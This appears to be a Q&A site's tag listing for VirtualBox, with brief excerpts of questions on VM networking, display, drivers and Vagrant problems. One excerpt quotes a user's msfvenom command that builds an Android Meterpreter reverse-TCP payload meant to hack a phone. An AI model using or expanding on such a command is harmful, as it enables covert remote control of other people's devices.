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Questions tagged [virtualbox]

An x86 virtualization software package developed by Oracle (which bought Sun, which bought Innotek).

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ssh_exchange_identification: read: Connection aborted on VirtualBox

I have an Ubuntu 18 Guest on Virtual Box 6 running over windows 10. I need to ssh into the ubuntu machine. I've set a nat rule from my host 3022 port to port 22 on the guest. Configuration as follows: ...
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How can I make a service running in Guest VM in VirtualBox accessible outside the VM

I use Oracle VirtualBox and have a service that runs on a guest VM. If I'm under guest OS and open the service URL in Firefox the app works as expected: https://localhost:8443 I was told that I can ...
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Oracle VirtualBox on Linux host with Windows guest running terribly slow

I recently got myself a new, more powerful workstation. With Linux Mint (now in version 19.1) as my main system and some programs (that my business depends on) only running on Windows, I also ...
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NS_error_failure 0x80004005 Virtual Machine Linux Mint [on hold]

I'm trying to unlock the bootloader of my smartphone, then I'm using Virtual Box in order to be able to use a specific program on Windows 10. The problem is when I try to connect my phone in fastboot. ...
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Virtual Box, Vagrant, Docker - vmdk ssh damaged?

CentOS 7 host o/s, guest o/s. VirtualBox-6.0-6.0.4_128413_el7-1.x86_64 Virtualbox Guest Additions 6.0.4 Host kernel 3.10.0-957.1.3.el7.x86_64 Guest kernel 3.10.0-957.10.1.el7.x86_64 Guest file ...
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IP Address Conflict between host OSX and linux mint running on Virtualbox [on hold]

I have been trying to install miniSAP on my linux mint 19.1 Tessa OS but have run into an IP address conflict.The IP address i get from running ifconfig on Linux is 192.168.1.8 whereas the IP address ...
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NOT SHOWING .apk file in home directory, for hacking android phone [duplicate]

I was trying to make an .apk file, by which I can hack an Android mobile phone... I made use of this command in Kali Linux: msfvenom -p android/meterpreter/reverse_tcp LHOST=(your ip) LPORT=4444 R &...
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How to route traffic through VPN only accessible within VM (without a bridged adapter)?

I have an interesting situation where I have a corporate VPN that can only connect through a specific (outdated) version of Ubuntu (and/or Windows) using a vendor-supplied client that creates a VPN ...
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How to connect guest COM port from Host in VirtualBox in Mac for MODBUS communication [migrated]

I am using pymodbus library to connect to a MODBUS master in the Windows OS (which is a guest OS in Virtual Box) and the host OS is Mac. I followed steps mentioned in this SOF answer. So, I created ...
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Debian 9.6 on virtual box too slow

The actual state of my machine: os: Window 10 64bit CPU: i5-6400 ram: 32GB GPU: GTX 1050 Nvidia Dual monitor 4K I installed last VirtualBox 6.0.4 and I installed Debian 9.6 on the VM. VM state: core:...
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Is there something which a container can't be used for while a Linux virtual machine can?

When would you choose to use a Linux virtual machine instead of a docker container? Is there something which a docker container can't be used for while a Linux virtual machine can? Is it correct ...
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OpenVPN Access Server in virtualbox [duplicate]

I install OpenVPN Access Server in kali-linux virtualbox it's run perfectly,my local ip change but public ip doesn't change, when i open block site doesn't open. what i go wrong? what should i do?
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How prevent virtualbox to create useless network interfaces

i'm on an ubuntu based distro (linux lite) and every time i use virtual box it will create many useless connections and they will removed on next boot. how can i prevent virtualbox to create these ...
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VirtualBox Error : Kernel Driver not installed(rc=-1908)

I am currently using Ubuntu 18.04 and VirtualBox GUI Version 5.2.18 and I faced the following bug: Kernel driver not installed (rc=-1908) The VirtualBox Linux kernel driver (vboxdrv) is either ...
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Virtualbox: install a x64 Windows OS from Ubuntu?

I was thinking about making a Virtual Machine, but the description of VirtualBox from the Software installer say: VirtualBox is a free x86 virtualization solution allowing a wide range of x86 ...
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Does Docker work with VirtualBox but not with KVM/QEMU?

Docker can creat virtual machines to be used as nodes in swarms. The machine drivers contains VirualBox but no KVM/QEMU. Does it mean that virtual machines created by KVM/QEMU can't be used as ...
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Lubuntu + Virtual Box. Black screen after login

I Installed Lubuntu 18 on Virtual Box 5.2.22. Changed Display Resolution in Preferences -> Monitor Settings. Then I restarted Lubuntu. Lubuntu login menu displayed, but after login there is only ...
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Compress VirtualBox Linux Virtual Machine

I am trying to create a VirtualBox linux virtual machine on which I want to mainly run Wine to install a windows application. I managed to install Lubuntu 18.04.2, since it is the lightest Ubuntu ...
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What are equivalences to QEMU/KVM in VirtualBox?

Are QEMU and KVM both kernel modules? In VirtualBox, what are the equivalences to these kernel modules? Thanks.
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CentOS loses internet connection

I have configured CentOS VM, with NetworkManager disabled. Question: When I start VM I have access to the internet, but after a while I lose it. How can I fix that?
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Security issues about running VirtualBox with bridged-adapter

I set up a Gnu/Linux VirtualBox, and I configured networking to support both NAT and bridged connections, in order to ssh to it remotely from a different PC in my network. Since an IP was assigned to ...
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Genymotion unable to start because of VBoxManage error?

I installed VirtualBox and Genymotion on Ubuntu 18.04 But, when I run Genymotion it starts to boot and it shows me that it's not able to find VirtualBox, but looking at logs this fails: 2019-03-...
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Centos 7: Filesystem type iso9660 not configured in kernel

I installed the new kernel which fixed a mouse issue, but now I do not have full screen anymore. I am trying to get guest additions to work again but I am getting this error:
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Traffic between subnets VirtualBox

I'm trying to build a prototype of a real network in VirtualBox. I have 3 guest systems: Debian-based router with 3 NICs: enp0s3 Looks outsude.(bridged) enp0s8 LAN1.(gateway to internal ...
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How do I shut down detected virtual machines on Mac OS?

I haven't used VirtualBox probably since 2016 and today I dusted it off and of course I needed to install an updated version, but I soon got this message: The installer has detected running virtual ...
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Macbook Pro VBox Kali Linux Wifi Not Working

I recently installed Kali on VBox and set my network settings in VBox to Bridged Adapter which seemed to allow wifi to work for 1-2 days. Now, I am unable to connect to the internet at all, and can't ...
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Linux Virtual Machine Video Memory Configuration

I have 256MB of video memory assigned to an Ubuntu 18.04 virtual machine. [ 2.642760] [drm] Maximum display memory size is 262144 kiB I am using the VMware graphics driver, which appears to ...
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Printer not working on Xubuntu

Is it possible to install Samsung Xpress M2026W to work in Xubuntu 18.04? I was unable to find drivers. But I was wondering if it is possible to get it work in a way that as one wants to print, ...
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Ubuntu 18.04 server dhcp issues on VirtualBox 6.0.4 with bridged adapter

I'm having issues with dhcp on virtualbox 6.0.4 with an ubuntu 18.04 server guest -- when using a bridged adapter, it hangs on startup while configuring network settings, and dhclient just fails ...
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Fedora 29 VirtualBox possible conflict

I did a complete re-install (not upgrade) to Fedora 29 in November 2018. At that time, a Fedora-29-compatible version of VirtualBox was not yet ready. Discussed below the ========= line in this ...
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Can I run a .vdi file for Windows 8.1. virtual machine in KVM/QEMU or VMM?

Can I run a .vdi file for Windows 8.1. virtual machine in KVM/QEMU or VMM? Do I need to convert the file from .vdi to some format familiar to KVM/QEMU? What are the steps, if possible? I have ...
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What is the relation between Virtual Machine Manager and KVM/QEMU?

What is the relation between Virtual Machine Manager and KVM/QEMU? The Wikipedia links says In computing, the Red Hat Virtual Machine Manager, also known as virt-manager, is a desktop virtual ...
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Increasing the size of RHEL virtual hard drive in Virtualbox? [duplicate]

My host OS is Ubuntu and on top of that I'm running Oracle Virtualbox with RHEL7.5 Workstation. The original amount of space that I allocated was 47GB. I increased that to 80GB by doing: However, ...
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How to access localhost on virtualbox archlinux guest machine from macOS host?

I need to be able to access localhost from host machine (macOS) on Arch server (guest virtualbox machine). I was able to edit /etc/hosts to access localhost on guest machine via IP:port on browser ...
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Kernel 4.20.8-200 headers?

I'm trying to run VirtualBox on my Fedora 29 machine, but it errors out. Following it's instructions (execute /sbin/vboxconfig) yeilds: Please install the Linux kernel "header" files matching the ...
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Tagging inteface traffic to VLAN in Linux based virtual router

I have alpine linux running on virutalbox which works as gateway for my other virtual instances resides on the virtualbox. technically alpine running as virtual router with ip forwarding and ...
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/dev/mapper/fedora-root is full

When I run df -h I get the following return: [root@localhost ~]# df -h Filesystem Size Used Avail Use% Mounted on devtmpfs 983M 0 983M 0% /dev tmpfs ...
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How to set up VirtualBox Host-only Adapter on Debian 9 guest OS?

I have created a VirtualBox VM, which is running Debian 9 as the guest OS, and it can connect to the internet successfully using the default NAT network interface. We also need the web server and ssh ...
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Linux Mint on Virtual Box Display Bug

I've run into a small problem when I launch Linux Mint on Virtual Box. During bootup everything seems to be fine. Linux mint logo appears and counts down from 9 until automatic boot, during boot 2nd ...
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Troubles with putty to connect to VM CentOS 7 (Vagrant / Virtualbox)

I've created a VM CentOS7 using Vagrant (2.2.3) and Virtual Box (5.2.24), on Windows 10 in this way (following these instructions ... https://blog.centos.org/2019/02/updated-centos-vagrant-images-...
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Click on file in Gnu/Linux host, to open with application installed in MS-Windows guest in VirtualBox

I want to be able to open files in Linux host (with double click) in an application installed in Windows guest in Oracle VirtualBox. Details: I have myfile.docx in ~/Documents folder in Linux host ...
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Render Linux VM applications on Windows Host Xserver

I have a Ubuntu VM on VirtualBox running in headless mode. Host is a Windows 10 machine. I want to be able to render Ubuntu's applications on Windows using XServer. Currently, I tried this: ...
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Running libvirt with VirtualBox driver doens't work on 4 different distributions

I'm trying to run libvirt with VirtualBox driver without luck. We are planning to use libvirt for running out software tests in virtual machines on CI servers. Now we are testing our testing framework ...
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Issue while booting Kubuntu on VirtualBox: drm vmw_host_log vmwgfx error failed to send log

I have installed Kubbuntu as guest one virtualbox on Windows 10 and now when I want to boot it take a long time showing this message: [drm:vmw_host_log [vmwgfx]] ERROR Failed to send log What is ...
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VirtualBox CentOS VM - Can't Get Mouse To Work On Install

I have VirtualBox with two VMs. One is a fully installed Debian VM, which is working fine with guest editions. The other is a new VM I created to install CentOS. The problem is, when I launch the ...
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Manjaro guest on VirtualBox not able to get the full resolution

What I have Host: Windows 10 Version 1803 Guest: 4.19.20-1-MANJARO VirtualBox Version 6.0.4r128413 What I have tried: using the VirtualBox geustaddition iso 1.1. from toolbar Devices > Insert ...
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Ubuntu Server upgrade on Vagrant

I am running Vagrant on Windows with Virtualbox. I have a vagrant base box of Ubuntu 14.04. I tried to upgrade it to 16.04 via ssh. After the upgrade, it requires to restart. Either picking yes or no,...
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How to set VirtualBox VM to use wanted resolution without needing to edit bootloader config or passing kernel parameters

I want to test many of liveCD distributions in VirtualBox (specifically, want to test their installers). Some linux distributions use curses based installers (not X11). By default VM's window is ...
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MAC address is removed with tainted VirtualBox modules on Fedora 29

I am getting crash reports. net/mac80211/driver-ops results in drv_remove_interface. My network interface is removed and I can't connect to the WiFi. I can recover this by shutting down or going in ...
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Drag-and-drop files into Linux Mint from virtualized Windows 7

Linux Mint, newly installed, is on one of my hard drives; Windows 7 is installed on the other HDD. I anticipate migrating totally to Linux Mint in the future. I have installed a virtual box into ...